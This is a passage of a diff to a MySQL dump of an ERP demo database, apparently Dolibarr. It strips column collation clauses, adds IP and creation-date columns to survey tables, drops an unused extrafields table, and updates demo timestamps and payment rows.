ULL,NULL,1,NULL,NULL,NULL,'2023-02-08 00:35:57','2023-02-08 03:40:28'); /*!40000 ALTER TABLE `llx_oauth_token` ENABLE KEYS */; UNLOCK TABLES; @@ -9229,11 +8525,11 @@ DROP TABLE IF EXISTS `llx_object_lang`; CREATE TABLE `llx_object_lang` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `fk_object` int(11) NOT NULL DEFAULT 0, - `type_object` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `property` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, - `lang` varchar(5) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', - `value` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `type_object` varchar(32) NOT NULL, + `property` varchar(32) NOT NULL, + `lang` varchar(5) NOT NULL DEFAULT '0', + `value` text DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_object_lang` (`fk_object`,`type_object`,`property`,`lang`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -9258,13 +8554,13 @@ DROP TABLE IF EXISTS `llx_onlinesignature`; CREATE TABLE `llx_onlinesignature` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `object_type` varchar(32) COLLATE utf8mb3_unicode_ci NOT NULL, + `object_type` varchar(32) NOT NULL, `object_id` int(11) NOT NULL, `datec` datetime NOT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `name` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, - `ip` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pathoffile` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `name` varchar(255) NOT NULL, + `ip` varchar(128) DEFAULT NULL, + `pathoffile` varchar(255) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9287,9 +8583,11 @@ DROP TABLE IF EXISTS `llx_opensurvey_comments`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_opensurvey_comments` ( `id_comment` int(10) unsigned NOT NULL AUTO_INCREMENT, - `id_sondage` char(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `comment` text COLLATE utf8mb3_unicode_ci NOT NULL, - `usercomment` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `id_sondage` char(16) NOT NULL, + `comment` text NOT NULL, + `usercomment` text DEFAULT NULL, + `ip` varchar(250) DEFAULT NULL, + `date_creation` datetime DEFAULT NULL, PRIMARY KEY (`id_comment`), KEY `idx_id_comment` (`id_comment`), KEY `idx_id_sondage` (`id_sondage`) @@ -9302,7 +8600,7 @@ CREATE TABLE `llx_opensurvey_comments` ( LOCK TABLES `llx_opensurvey_comments` WRITE; /*!40000 ALTER TABLE `llx_opensurvey_comments` DISABLE KEYS */; -INSERT INTO `llx_opensurvey_comments` VALUES (2,'434dio8rxfljs3p1','aaa','aaa'),(5,'434dio8rxfljs3p1','aaa','aaa'),(6,'434dio8rxfljs3p1','gfh','jj'),(11,'434dio8rxfljs3p1','fsdf','fdsf'),(12,'3imby4hf7joiilsu','fsdf','aa'),(16,'3imby4hf7joiilsu','gdfg','gfdg'),(17,'3imby4hf7joiilsu','gfdgd','gdfgd'),(18,'om4e7azfiurnjtqe','fds','fdsf'),(26,'qgsfrgb922rqzocy','gfdg','gfdg'),(27,'qgsfrgb922rqzocy','gfdg','gfd'),(30,'ckanvbe7kt3rdb3h','hfgh','fdfds'); +INSERT INTO `llx_opensurvey_comments` VALUES (2,'434dio8rxfljs3p1','aaa','aaa',NULL,NULL),(5,'434dio8rxfljs3p1','aaa','aaa',NULL,NULL),(6,'434dio8rxfljs3p1','gfh','jj',NULL,NULL),(11,'434dio8rxfljs3p1','fsdf','fdsf',NULL,NULL),(12,'3imby4hf7joiilsu','fsdf','aa',NULL,NULL),(16,'3imby4hf7joiilsu','gdfg','gfdg',NULL,NULL),(17,'3imby4hf7joiilsu','gfdgd','gdfgd',NULL,NULL),(18,'om4e7azfiurnjtqe','fds','fdsf',NULL,NULL),(26,'qgsfrgb922rqzocy','gfdg','gfdg',NULL,NULL),(27,'qgsfrgb922rqzocy','gfdg','gfd',NULL,NULL),(30,'ckanvbe7kt3rdb3h','hfgh','fdfds',NULL,NULL); /*!40000 ALTER TABLE `llx_opensurvey_comments` ENABLE KEYS */; UNLOCK TABLES; @@ -9315,9 +8613,9 @@ DROP TABLE IF EXISTS `llx_opensurvey_formquestions`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_opensurvey_formquestions` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `id_sondage` varchar(16) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `question` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `available_answers` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `id_sondage` varchar(16) DEFAULT NULL, + `question` text DEFAULT NULL, + `available_answers` text DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9339,21 +8637,21 @@ DROP TABLE IF EXISTS `llx_opensurvey_sondage`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_opensurvey_sondage` ( - `id_sondage` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `commentaires` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `mail_admin` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `nom_admin` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `id_sondage` varchar(16) NOT NULL, + `commentaires` text DEFAULT NULL, + `mail_admin` varchar(128) DEFAULT NULL, + `nom_admin` varchar(64) DEFAULT NULL, `fk_user_creat` int(11) NOT NULL, - `titre` text COLLATE utf8mb3_unicode_ci NOT NULL, + `titre` text NOT NULL, `date_fin` datetime DEFAULT NULL, `status` int(11) DEFAULT 1, - `format` varchar(2) COLLATE utf8mb3_unicode_ci NOT NULL, + `format` varchar(2) NOT NULL, `mailsonde` tinyint(4) NOT NULL DEFAULT 0, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `entity` int(11) NOT NULL DEFAULT 1, `allow_comments` tinyint(4) NOT NULL DEFAULT 1, `allow_spy` tinyint(4) NOT NULL DEFAULT 1, - `sujet` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `sujet` text DEFAULT NULL, PRIMARY KEY (`id_sondage`), KEY `idx_date_fin` (`date_fin`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -9365,7 +8663,7 @@ CREATE TABLE `llx_opensurvey_sondage` ( LOCK TABLES `llx_opensurvey_sondage` WRITE; /*!40000 ALTER TABLE `llx_opensurvey_sondage` DISABLE KEYS */; -INSERT INTO `llx_opensurvey_sondage` VALUES ('m4467s2mtk6khmxc','What is your prefered date for a brunch','myemail@aaa.com','fdfds',0,'Date of next brunch','2015-03-07 00:00:00',2,'D',1,'2020-01-21 10:30:16',1,1,1,',1483473600'),('tim1dye8x5eeetxu','Please vote for the candidate you want to have for our new president this year.',NULL,NULL,12,'Election of new president','2017-02-26 04:00:00',1,'A',0,'2020-01-21 10:30:16',1,1,0,'Alan Candide@foragainst,Alex Candor@foragainst'); +INSERT INTO `llx_opensurvey_sondage` VALUES ('m4467s2mtk6khmxc','What is your prefered date for a brunch','myemail@aaa.com','fdfds',0,'Date of next brunch','2015-03-07 00:00:00',2,'D',1,'2023-02-09 20:58:32',1,1,1,',1483473600'),('tim1dye8x5eeetxu','Please vote for the candidate you want to have for our new president this year.',NULL,NULL,12,'Election of new president','2017-02-26 04:00:00',1,'A',0,'2023-02-09 20:58:32',1,1,0,'Alan Candide@foragainst,Alex Candor@foragainst'); /*!40000 ALTER TABLE `llx_opensurvey_sondage` ENABLE KEYS */; UNLOCK TABLES; @@ -9379,7 +8677,7 @@ DROP TABLE IF EXISTS `llx_opensurvey_user_formanswers`; CREATE TABLE `llx_opensurvey_user_formanswers` ( `fk_user_survey` int(11) NOT NULL, `fk_question` int(11) NOT NULL, - `reponses` text COLLATE utf8mb3_unicode_ci DEFAULT NULL + `reponses` text DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9401,9 +8699,11 @@ DROP TABLE IF EXISTS `llx_opensurvey_user_studs`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_opensurvey_user_studs` ( `id_users` int(11) NOT NULL AUTO_INCREMENT, - `nom` varchar(64) COLLATE utf8mb3_unicode_ci NOT NULL, - `id_sondage` varchar(16) COLLATE utf8mb3_unicode_ci NOT NULL, - `reponses` varchar(100) COLLATE utf8mb3_unicode_ci NOT NULL, + `nom` varchar(64) NOT NULL, + `id_sondage` varchar(16) NOT NULL, + `reponses` varchar(200) NOT NULL, + `ip` varchar(250) DEFAULT NULL, + `date_creation` datetime DEFAULT NULL, PRIMARY KEY (`id_users`), KEY `idx_id_users` (`id_users`), KEY `idx_nom` (`nom`), @@ -9420,7 +8720,7 @@ CREATE TABLE `llx_opensurvey_user_studs` ( LOCK TABLES `llx_opensurvey_user_studs` WRITE; /*!40000 ALTER TABLE `llx_opensurvey_user_studs` DISABLE KEYS */; -INSERT INTO `llx_opensurvey_user_studs` VALUES (1,'gfdgdf','om4e7azfiurnjtqe','01'),(2,'aa','3imby4hf7joiilsu','210'),(3,'fsdf','z2qcqjh5pm1q4p99','0110'),(5,'hfghf','z2qcqjh5pm1q4p99','1110'),(6,'qqqq','ah9xvaqu1ajjrqse','000111'),(7,'hjgh','ah9xvaqu1ajjrqse','000010'),(8,'bcvb','qgsfrgb922rqzocy','011000'),(9,'gdfg','ah9xvaqu1ajjrqse','001000'),(10,'ggg','ah9xvaqu1ajjrqse','000100'),(11,'gfdgd','ah9xvaqu1ajjrqse','001000'),(12,'hhhh','ah9xvaqu1ajjrqse','010000'),(13,'iii','ah9xvaqu1ajjrqse','000100'),(14,'kkk','ah9xvaqu1ajjrqse','001000'),(15,'lllll','ah9xvaqu1ajjrqse','000001'),(16,'kk','ah9xvaqu1ajjrqse','000001'),(17,'gggg','ah9xvaqu1ajjrqse','001000'),(18,'mmmm','ah9xvaqu1ajjrqse','000000'),(19,'jkjkj','ah9xvaqu1ajjrqse','000001'),(20,'azerty','8mcdnf2hgcntfibe','012'),(21,'hfghfg','8mcdnf2hgcntfibe','012'),(22,'fd','ckanvbe7kt3rdb3h','10'),(25,'John Doe','m4467s2mtk6khmxc','1'),(26,'Martial Bill','m4467s2mtk6khmxc','01'),(27,'Marissa Campbell','m4467s2mtk6khmxc','11'),(28,'Leonard Cast','m4467s2mtk6khmxc','01'),(29,'John Doe','tim1dye8x5eeetxu','01'),(30,'Eldy','tim1dye8x5eeetxu','11'); +INSERT INTO `llx_opensurvey_user_studs` VALUES (1,'gfdgdf','om4e7azfiurnjtqe','01',NULL,NULL),(2,'aa','3imby4hf7joiilsu','210',NULL,NULL),(3,'fsdf','z2qcqjh5pm1q4p99','0110',NULL,NULL),(5,'hfghf','z2qcqjh5pm1q4p99','1110',NULL,NULL),(6,'qqqq','ah9xvaqu1ajjrqse','000111',NULL,NULL),(7,'hjgh','ah9xvaqu1ajjrqse','000010',NULL,NULL),(8,'bcvb','qgsfrgb922rqzocy','011000',NULL,NULL),(9,'gdfg','ah9xvaqu1ajjrqse','001000',NULL,NULL),(10,'ggg','ah9xvaqu1ajjrqse','000100',NULL,NULL),(11,'gfdgd','ah9xvaqu1ajjrqse','001000',NULL,NULL),(12,'hhhh','ah9xvaqu1ajjrqse','010000',NULL,NULL),(13,'iii','ah9xvaqu1ajjrqse','000100',NULL,NULL),(14,'kkk','ah9xvaqu1ajjrqse','001000',NULL,NULL),(15,'lllll','ah9xvaqu1ajjrqse','000001',NULL,NULL),(16,'kk','ah9xvaqu1ajjrqse','000001',NULL,NULL),(17,'gggg','ah9xvaqu1ajjrqse','001000',NULL,NULL),(18,'mmmm','ah9xvaqu1ajjrqse','000000',NULL,NULL),(19,'jkjkj','ah9xvaqu1ajjrqse','000001',NULL,NULL),(20,'azerty','8mcdnf2hgcntfibe','012',NULL,NULL),(21,'hfghfg','8mcdnf2hgcntfibe','012',NULL,NULL),(22,'fd','ckanvbe7kt3rdb3h','10',NULL,NULL),(25,'John Doe','m4467s2mtk6khmxc','1',NULL,NULL),(26,'Martial Bill','m4467s2mtk6khmxc','01',NULL,NULL),(27,'Marissa Campbell','m4467s2mtk6khmxc','11',NULL,NULL),(28,'Leonard Cast','m4467s2mtk6khmxc','01',NULL,NULL),(29,'John Doe','tim1dye8x5eeetxu','01',NULL,NULL),(30,'Eldy','tim1dye8x5eeetxu','11',NULL,NULL); /*!40000 ALTER TABLE `llx_opensurvey_user_studs` ENABLE KEYS */; UNLOCK TABLES; @@ -9434,11 +8734,11 @@ DROP TABLE IF EXISTS `llx_overwrite_trans`; CREATE TABLE `llx_overwrite_trans` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `entity` int(11) NOT NULL DEFAULT 1, - `lang` varchar(5) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `transkey` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `transvalue` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `lang` varchar(5) DEFAULT NULL, + `transkey` varchar(128) DEFAULT NULL, + `transvalue` text DEFAULT NULL, PRIMARY KEY (`rowid`), - UNIQUE KEY `uk_overwrite_trans` (`lang`,`transkey`) + UNIQUE KEY `uk_overwrite_trans` (`entity`,`lang`,`transkey`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; @@ -9451,31 +8751,6 @@ LOCK TABLES `llx_overwrite_trans` WRITE; /*!40000 ALTER TABLE `llx_overwrite_trans` ENABLE KEYS */; UNLOCK TABLES; --- --- Table structure for table `llx_packages_extrafields` --- - -DROP TABLE IF EXISTS `llx_packages_extrafields`; -/*!40101 SET @saved_cs_client = @@character_set_client */; -/*!40101 SET character_set_client = utf8 */; -CREATE TABLE `llx_packages_extrafields` ( - `rowid` int(11) NOT NULL AUTO_INCREMENT, - `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - PRIMARY KEY (`rowid`) -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; -/*!40101 SET character_set_client = @saved_cs_client */; - --- --- Dumping data for table `llx_packages_extrafields` --- - -LOCK TABLES `llx_packages_extrafields` WRITE; -/*!40000 ALTER TABLE `llx_packages_extrafields` DISABLE KEYS */; -/*!40000 ALTER TABLE `llx_packages_extrafields` ENABLE KEYS */; -UNLOCK TABLES; - -- -- Table structure for table `llx_paiement` -- @@ -9485,16 +8760,16 @@ DROP TABLE IF EXISTS `llx_paiement`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_paiement` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '', - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref` varchar(30) NOT NULL DEFAULT '', + `ref_ext` varchar(255) DEFAULT NULL, `entity` int(11) NOT NULL DEFAULT 1, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datep` datetime DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, `fk_paiement` int(11) NOT NULL, - `num_paiement` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `num_paiement` varchar(50) DEFAULT NULL, + `note` text DEFAULT NULL, `fk_bank` int(11) NOT NULL DEFAULT 0, `fk_user_creat` int(11) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, @@ -9502,10 +8777,10 @@ CREATE TABLE `llx_paiement` ( `fk_export_compta` int(11) NOT NULL DEFAULT 0, `pos_change` double(24,8) DEFAULT 0.00000000, `multicurrency_amount` double(24,8) DEFAULT 0.00000000, - `ext_payment_id` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ext_payment_site` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ext_payment_id` varchar(255) DEFAULT NULL, + `ext_payment_site` varchar(128) DEFAULT NULL, PRIMARY KEY (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=44 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=46 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -9514,7 +8789,7 @@ CREATE TABLE `llx_paiement` ( LOCK TABLES `llx_paiement` WRITE; /*!40000 ALTER TABLE `llx_paiement` DISABLE KEYS */; -INSERT INTO `llx_paiement` VALUES (3,'',NULL,1,'2013-07-18 20:50:47','2021-07-11 17:49:28','2021-07-08 12:00:00',10.00000000,4,'','',6,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(5,'',NULL,1,'2013-08-01 03:34:11','2022-02-07 13:37:54','2021-08-01 03:34:11',5.63000000,6,'','Payment Invoice FA1108-0003',8,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(6,'',NULL,1,'2013-08-06 20:33:54','2022-02-07 13:37:54','2021-08-06 20:33:53',5.98000000,4,'','Payment Invoice FA1108-0004',13,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(8,'',NULL,1,'2013-08-08 02:53:40','2022-02-07 13:37:54','2021-08-08 12:00:00',26.10000000,4,'','',14,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(9,'',NULL,1,'2013-08-08 02:55:58','2022-02-07 13:37:54','2021-08-08 12:00:00',26.96000000,1,'','',15,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(17,'',NULL,1,'2014-12-09 15:28:44','2022-02-07 13:37:54','2021-12-09 12:00:00',2.00000000,4,'','',16,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(18,'',NULL,1,'2014-12-09 15:28:53','2022-02-07 13:37:54','2021-12-09 12:00:00',-2.00000000,4,'','',17,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(19,'',NULL,1,'2014-12-09 17:35:55','2022-02-07 13:37:54','2021-12-09 12:00:00',-2.00000000,4,'','',18,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(20,'',NULL,1,'2014-12-09 17:37:02','2022-02-07 13:37:54','2021-12-09 12:00:00',2.00000000,4,'','',19,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(21,'',NULL,1,'2014-12-09 18:35:07','2022-02-07 13:37:54','2021-12-09 12:00:00',-2.00000000,4,'','',20,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(23,'',NULL,1,'2014-12-12 18:54:33','2022-02-07 13:37:54','2021-12-12 12:00:00',1.00000000,1,'','',21,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(24,'',NULL,1,'2015-03-06 16:48:16','2022-07-04 01:11:35','2022-03-06 00:00:00',20.00000000,4,'','Adhésion/cotisation 2016',22,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(25,'',NULL,1,'2015-03-20 14:30:11','2022-07-04 01:11:35','2022-03-20 00:00:00',10.00000000,2,'','Adhésion/cotisation 2011',23,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(26,'',NULL,1,'2016-03-02 19:57:58','2021-07-11 17:49:28','2021-07-09 12:00:00',605.00000000,2,'','',24,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(29,'',NULL,1,'2016-03-02 20:01:39','2022-07-04 01:11:35','2022-03-19 12:00:00',500.00000000,4,'','',26,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(30,'',NULL,1,'2016-03-02 20:02:06','2022-07-04 01:11:35','2022-03-21 12:00:00',400.00000000,2,'','',27,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(32,'',NULL,1,'2016-03-03 19:22:32','2022-02-07 13:37:54','2021-10-03 12:00:00',-400.00000000,4,'','',28,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(33,'',NULL,1,'2016-03-03 19:23:16','2022-07-04 01:11:35','2022-03-10 12:00:00',-300.00000000,4,'','',29,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(34,'PAY1603-0001',NULL,1,'2017-02-06 08:10:24','2022-07-04 01:11:35','2022-03-22 12:00:00',150.00000000,7,'','',33,12,NULL,0,0,0.00000000,150.00000000,NULL,NULL),(35,'PAY1603-0002',NULL,1,'2017-02-06 08:10:50','2022-07-04 01:11:35','2022-03-25 12:00:00',140.00000000,3,'','',34,12,NULL,0,0,0.00000000,140.00000000,NULL,NULL),(36,'PAY1702-0003',NULL,1,'2017-02-21 16:07:43','2022-07-04 01:11:35','2022-02-21 12:00:00',50.00000000,3,'T170201','',37,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL),(38,'PAY1803-0004',NULL,1,'2018-03-16 13:59:31','2022-07-04 01:11:35','2022-03-16 12:00:00',10.00000000,7,'','',39,12,NULL,0,0,0.00000000,10.00000000,NULL,NULL),(39,'PAY1801-0005',NULL,1,'2019-10-04 10:28:14','2022-02-07 13:37:54','2022-01-19 12:00:00',5.63000000,4,'','',41,12,NULL,0,0,0.00000000,5.63000000,NULL,NULL),(40,'PAY2001-0006',NULL,1,'2020-01-16 02:36:48','2022-02-07 13:37:54','2022-01-16 12:00:00',20.50000000,2,'','',50,12,NULL,0,0,0.00000000,20.50000000,NULL,NULL),(41,'PAY2001-0007',NULL,1,'2020-01-21 10:23:17','2022-02-07 13:37:54','2022-01-21 00:00:00',50.00000000,7,'','Subscription 2017',53,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL),(42,'PAY2001-0008',NULL,1,'2020-01-21 10:23:28','2022-02-07 13:37:54','2022-01-21 00:00:00',50.00000000,7,'','Subscription 2018',54,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL),(43,'PAY2001-0009',NULL,1,'2020-01-21 10:23:49','2022-02-07 13:37:54','2022-01-21 00:00:00',50.00000000,6,'','Subscription 2019',55,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL); +INSERT INTO `llx_paiement` VALUES (3,'',NULL,1,'2013-07-18 20:50:47','2022-12-11 21:23:22','2022-07-08 12:00:00',10.00000000,4,'','',6,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(5,'',NULL,1,'2013-08-01 03:34:11','2022-12-11 21:23:22','2022-08-01 03:34:11',5.63000000,6,'','Payment Invoice FA1108-0003',8,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(6,'',NULL,1,'2013-08-06 20:33:54','2022-12-11 21:23:22','2022-08-06 20:33:53',5.98000000,4,'','Payment Invoice FA1108-0004',13,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(8,'',NULL,1,'2013-08-08 02:53:40','2022-12-11 21:23:22','2022-08-08 12:00:00',26.10000000,4,'','',14,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(9,'',NULL,1,'2013-08-08 02:55:58','2022-12-11 21:23:22','2022-08-08 12:00:00',26.96000000,1,'','',15,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(17,'',NULL,1,'2014-12-09 15:28:44','2022-12-11 21:23:22','2022-12-09 12:00:00',2.00000000,4,'','',16,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(18,'',NULL,1,'2014-12-09 15:28:53','2022-12-11 21:23:22','2022-12-09 12:00:00',-2.00000000,4,'','',17,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(19,'',NULL,1,'2014-12-09 17:35:55','2022-12-11 21:23:22','2022-12-09 12:00:00',-2.00000000,4,'','',18,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(20,'',NULL,1,'2014-12-09 17:37:02','2022-12-11 21:23:22','2022-12-09 12:00:00',2.00000000,4,'','',19,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(21,'',NULL,1,'2014-12-09 18:35:07','2022-12-11 21:23:22','2022-12-09 12:00:00',-2.00000000,4,'','',20,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(23,'',NULL,1,'2014-12-12 18:54:33','2022-02-07 13:37:54','2021-12-12 12:00:00',1.00000000,1,'','',21,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(24,'',NULL,1,'2015-03-06 16:48:16','2022-07-04 01:11:35','2022-03-06 00:00:00',20.00000000,4,'','Adhésion/cotisation 2016',22,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(25,'',NULL,1,'2015-03-20 14:30:11','2022-07-04 01:11:35','2022-03-20 00:00:00',10.00000000,2,'','Adhésion/cotisation 2011',23,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(26,'',NULL,1,'2016-03-02 19:57:58','2022-12-11 21:23:22','2022-07-09 12:00:00',605.00000000,2,'','',24,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(29,'',NULL,1,'2016-03-02 20:01:39','2022-07-04 01:11:35','2022-03-19 12:00:00',500.00000000,4,'','',26,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(30,'',NULL,1,'2016-03-02 20:02:06','2022-07-04 01:11:35','2022-03-21 12:00:00',400.00000000,2,'','',27,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(32,'',NULL,1,'2016-03-03 19:22:32','2022-12-11 21:23:22','2022-10-03 12:00:00',-400.00000000,4,'','',28,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(33,'',NULL,1,'2016-03-03 19:23:16','2022-07-04 01:11:35','2022-03-10 12:00:00',-300.00000000,4,'','',29,1,NULL,0,0,0.00000000,0.00000000,NULL,NULL),(34,'PAY1603-0001',NULL,1,'2017-02-06 08:10:24','2022-07-04 01:11:35','2022-03-22 12:00:00',150.00000000,7,'','',33,12,NULL,0,0,0.00000000,150.00000000,NULL,NULL),(35,'PAY1603-0002',NULL,1,'2017-02-06 08:10:50','2022-07-04 01:11:35','2022-03-25 12:00:00',140.00000000,3,'','',34,12,NULL,0,0,0.00000000,140.00000000,NULL,NULL),(36,'PAY1702-0003',NULL,1,'2017-02-21 16:07:43','2022-07-04 01:11:35','2022-02-21 12:00:00',50.00000000,3,'T170201','',37,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL),(38,'PAY1803-0004',NULL,1,'2018-03-16 13:59:31','2022-07-04 01:11:35','2022-03-16 12:00:00',10.00000000,7,'','',39,12,NULL,0,0,0.00000000,10.00000000,NULL,NULL),(39,'PAY1801-0005',NULL,1,'2019-10-04 10:28:14','2022-02-07 13:37:54','2022-01-19 12:00:00',5.63000000,4,'','',41,12,NULL,0,0,0.00000000,5.63000000,NULL,NULL),(40,'PAY2001-0006',NULL,1,'2020-01-16 02:36:48','2022-02-07 13:37:54','2022-01-16 12:00:00',20.50000000,2,'','',50,12,NULL,0,0,0.00000000,20.50000000,NULL,NULL),(41,'PAY2001-0007',NULL,1,'2020-01-21 10:23:17','2022-02-07 13:37:54','2022-01-21 00:00:00',50.00000000,7,'','Subscription 2017',53,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL),(42,'PAY2001-0008',NULL,1,'2020-01-21 10:23:28','2022-02-07 13:37:54','2022-01-21 00:00:00',50.00000000,7,'','Subscription 2018',54,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL),(43,'PAY2001-0009',NULL,1,'2020-01-21 10:23:49','2022-02-07 13:37:54','2022-01-21 00:00:00',50.00000000,6,'','Subscription 2019',55,12,NULL,0,0,0.00000000,50.00000000,NULL,NULL),(45,'PAY2212-0010','',1,'2023-02-06 09:18:07','2023-02-06 12:18:07','2022-12-11 08:00:00',1.00000000,3,'','',57,12,NULL,0,0,0.00000000,1.00000000,NULL,NULL); /*!40000 ALTER TABLE `llx_paiement` ENABLE KEYS */; UNLOCK TABLES; @@ -9531,7 +8806,7 @@ CREATE TABLE `llx_paiement_facture` ( `fk_facture` int(11) DEFAULT NULL, `amount` double(24,8) DEFAULT NULL, `multicurrency_amount` double(24,8) DEFAULT 0.00000000, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_tx` double(24,8) DEFAULT 1.00000000, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_paiement_facture` (`fk_paiement`,`fk_facture`), @@ -9539,7 +8814,7 @@ CREATE TABLE `llx_paiement_facture` ( KEY `idx_paiement_facture_fk_paiement` (`fk_paiement`), CONSTRAINT `fk_paiement_facture_fk_facture` FOREIGN KEY (`fk_facture`) REFERENCES `llx_facture` (`rowid`), CONSTRAINT `fk_paiement_facture_fk_paiement` FOREIGN KEY (`fk_paiement`) REFERENCES `llx_paiement` (`rowid`) -) ENGINE=InnoDB AUTO_INCREMENT=48 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) 